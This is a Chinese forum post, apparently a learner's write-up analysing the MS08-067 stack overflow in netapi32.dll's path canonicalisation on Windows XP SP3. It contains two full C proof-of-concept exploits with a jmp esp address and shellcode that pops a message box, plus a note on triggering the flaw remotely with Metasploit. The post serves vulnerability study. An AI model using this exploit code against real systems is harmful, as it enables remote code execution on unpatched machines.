ultradebug 发表于 2022-5-13 22:34:51

漏洞分析:MS08-067

## 前言

最近开始学习漏洞分析相关内容,完成对Windows相关安全机制的学习后,便是寻找实例进行练习,这是第二个实例分析

MS08-067是另一个经典的栈溢出漏洞,原理依然很好理解

在此分享一下自己的分析过程,希望对同样是漏洞分析新手的同学有所帮助

## 漏洞介绍

官方公告:(https://docs.microsoft.com/zh-cn ... etins/2008/ms08-067)

### 漏洞简述

* 漏洞名称:MS08-067
* 漏洞编号:CVE-2008-4250
* 漏洞类型:栈溢出
* 漏洞影响:远程代码执行
* CVSS评分:9.8
* 利用难度:Medium
* 利用方式:远程

### 漏洞利用

MS08-067是继MS06-040之后又一个可以利用的RPC漏洞,在MS06-040的漏洞分析中,漏洞存在于netapi32.dll的导出函数NetpwPathCanonicalize在处理字符串时出现了错误,导致了栈溢出,2年后的MS08-067依然是这个函数出现了错误导致了栈溢出

在netapi32.dll的NetpwPathCanonicalize函数调用时会调用CanonicalizePathName函数,对远程访问路径进行规范化:

1. 将`/`改成`\`
2. 去掉相对路径`.\`和`..\`

通过构造合适的路径,可以在对第2条进行规范化的实现中RemoveLegacyFloder发生了栈溢出,可以造成RCE,栈溢出覆盖最终会覆盖wcscpy的返回地址,该函数没有GS保护,但可用shellcode空间大小有限

### 漏洞影响

根据msf的exp可以确定被攻击的操作系统版本:Windows 2000、2003 SP0\SP1\SP2、XP SP0/SP1/SP2/SP3

## 漏洞分析

### 复现环境

* Windows XP SP3 Chinese
* VC++6.0
* x86dbg和OD
* IDA Pro 7.5

### 漏洞成因

漏洞产生于netapi32.dll,问题发生其导出函数NetpwPathCanonicalize内部规范化远程路径的子函数CanonicalizePathName中的RemoveLegacyFolder里,由于向上遍历`\`字符时,缓冲区安全边界检查不合理导致遍历到`\`时,该字符的地址出现在缓冲区外部,经过wcscpy造成栈溢出覆盖返回地址

### 静态分析

漏洞出现在和MS06-040相同的函数里:MS06040因为缓冲区安全检查判断大小编写有问题导致栈溢出,在Windows XP SP3已经得到了修复:



在拼接完成Perfix和path之后,会对路径进行规范化处理:

1. 会把路径中所有的`/`都换成`\`
2. 把`\..\`,`.\`进行处理,移除经典路径

这里出问题的函数就是做第二步的函数,函数的参数是拼接完成的路径



函数内部首先从缓冲区首地址里把第一个字符取出来,比对看是不是`\`或者`/`

是的话,就会进入跳转:



跳转过来判断下一个字符,如果不是`\`就跳转走:



如果也不是`/`则接着跳转:



这里就循环去找下一个`\`或者`.`,此时的esi应该就是个指针(p1)用来遍历的

当找到`\`的时候:



这里会取之前的一个字符赋值给ebx,ebx也算是个指针(p2)

这里是跳转过来给三个指针赋了一下值,然后接着进行跳转回去再次循环找`\`和`.`了

当找到`.`的时候:



首先判断当前字符的上一个字符是不是`\`,然后判断下一个字符是不是`.`以及再下一个字符是不是`\`,实际上就是判断当前指向的字符是不是`\..\`,如果是,则把第二个`\`开始的内容复制到上一个`\`的位置,通过wcscpy进行复制

复制完成之后,就把`\..\`给移去了,原理图(来自参考资料):



在这复制完成之后,指针指向的位置乱了,P3指向了当前搜索的最新的`\`,P1P2指向了无意义的地方,这里需要重新找到这三个指针应该在的位置:P3指向前一个`\`,P1指向最新的`\`:



这里首先是修复了P1,P2会在P1找到指定字符的时候设置

然后紧接着比对P3上一个字符是不是`\`,向前循环寻找`\`,直到找到`\`为止,然后再次循环寻找下一个需要恢复的经典地址

在向前移动指针寻找`\`的时候,会进行地址的合法性校验,这里校验使用的是jz指令,是检验指针地址等于缓冲区首地址的时候进行跳出,当地址出现这种情况的时候:

```
\..\..\aaa\bbb\ccc
```

则指针一开始就位于缓冲区左边了,无论循环多少次都不可能被校验出问题来

如果校验条件改为jbe指令(小于等于),则就不存在这个问题了

当循环结束,在变量的缓冲区外面找到一个`\`的时候,下次wcscpy时,就会把东西都复制到外头去,如果会循环的时候会路过返回地址,则刚好能给覆盖掉,存在利用的可能

成功溢出的条件:

1. 向前搜索`\`时越过缓冲区首地址
2. 合并路径中至少存在两个连续的`..\`
3. 合并路径中第二个`..\`后有足够多的字符能够覆盖返回地址

### 动态分析

#### Poc代码

> 代码来自参考资料,对本实验环境来说需要进行修改,修改见下文描述

```
#include <windows.h>
#include <stdio.h>

typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);

// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"

//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"

int main(int argc, char* argv[])
{
    WCHAR path = { 0 };
    WCHAR can_path = { 0 };
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibrary(L".\\netapi32.dll");
    MYPROC Trigger = NULL;

    if (NULL == handle)
    {
      wprintf(L"Fail to load library!\n");
      return -1;
    }

    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
      FreeLibrary(handle);
      wprintf(L"Fail to get api address!\n");
      return -1;
    }

    path = 0;
    //112 => 109
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path, (const wchar_t*)JMP_ESP);
    wcscat(path, (const wchar_t*)SHELL_CODE);

    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);

    return 0;
}
```

#### 调试分析

对漏洞函数下断点,然后执行观察流程:



首先会遍历路径去寻找`\`,然后跳转去保存该`\`的地址,接着遍历下一个字符

下一个字符是`.`也会被命中,会进入另一个跳转:



跳转去处理`\..\`路径了,这里构造的路径开头是:`\aaa\..\..\bbbb`,就会变成如图所示的:`\..\bbbb`,接下来会进行跳转去修正指针esi和edi的位置



在修正过程中,第一次安全检查就如静态分析的一样,地址直接出现在了缓冲区首地址的前面

当找到`\`的时候:



地址在0x12F25E,距离当前还很远,我们能够利用的缓冲区大小可没有这么大

**遇到了个问题:如何让上一个`\`出现在接近栈顶的位置呢?**

尝试了各种修改项目设置,最后发现,用VC++6.0编译即可直接满足要求

用VC++6.0重新编译后,运行到这里:



`\`的位置是0x12F5FA,返回地址的位置是0x12F6FC,距离是:0x12F6FC - 0x12F5FA = 0x102

输入的路径可以达到这个大小

第一次调用wcscpy会让前面的aaa消失,第二次调用的时候,会覆盖栈,因为wcscpy是函数调用,所以会在wcscpy函数中覆盖返回地址,通过该函数的返回地址跳转去shellcode,而且该函数没有GS保护

第二次复制的时候进入wcscpy观察栈的情况:



刚刚那个poc代码中的路径长度不够,需要再加12个宽字符才能成功覆盖返回地址

> 解释一下ROP的构造(虽然代码是网上copy的,但还是能看懂的):
>
> 因为wcscpy会造成栈溢出,导致返回地址被覆盖,也就是说esp往后的内容都是可控的
>
> 所以需要通过ret跳转到一个能直接jmp esp的地方,然后直接jmp esp就能直接让执行流回到栈上来,所以这里的Shellcode构造思路很简单,路径+jmp esp地址+ shellcode

#### 修改后的Poc代码

修改poc代码:

```
#include <windows.h>
#include <stdio.h>

typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);

// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"

//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"

int main(int argc, char* argv[])
{
    WCHAR path = { 0 };
    WCHAR can_path = { 0 };
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibraryA(".\\netapi32.dll");
    MYPROC Trigger = NULL;

    if (NULL == handle)
    {
      wprintf(L"Fail to load library!\n");
      return -1;
    }

    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
      FreeLibrary(handle);
      wprintf(L"Fail to get api address!\n");
      return -1;
    }

    path = 0;
    //112 => 109
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccdddddd");
    wcscat(path, (const wchar_t*)JMP_ESP);
    wcscat(path, (const wchar_t*)SHELL_CODE);

    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);

    return 0;
}
```

直接运行:



成功弹窗,shellcode执行成功

### 远程调试

> 这一块内容主要参考参考资料

该服务允许在svchost.exe进程中,通过wmic命令找到该进程的参数:

```
wmic process where caption="svchost.exe" get caption,handle,commandline
```



这个参数是`-k netsvcs`的进程就是我们要找的进程

打开OD(默认配置的x86dbg附加不了),附加该进程,在导出函数NetpwPathCanonicalize上下断点

打开kali,选择08067的利用,设置好ip,run,即可触发断点进行调试,调试过程和本地调试一样,具体内容见参考资料

## 参考资料

* [[原创]漏洞考古:MS08-067详细分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com](https://bbs.pediy.com/thread-271728.htm#msg_header_h3_2)
* (https://www.freebuf.com/vuls/203881.html)
* 《0Day安全》第二版
页: [1]
查看完整版本: 漏洞分析:MS08-067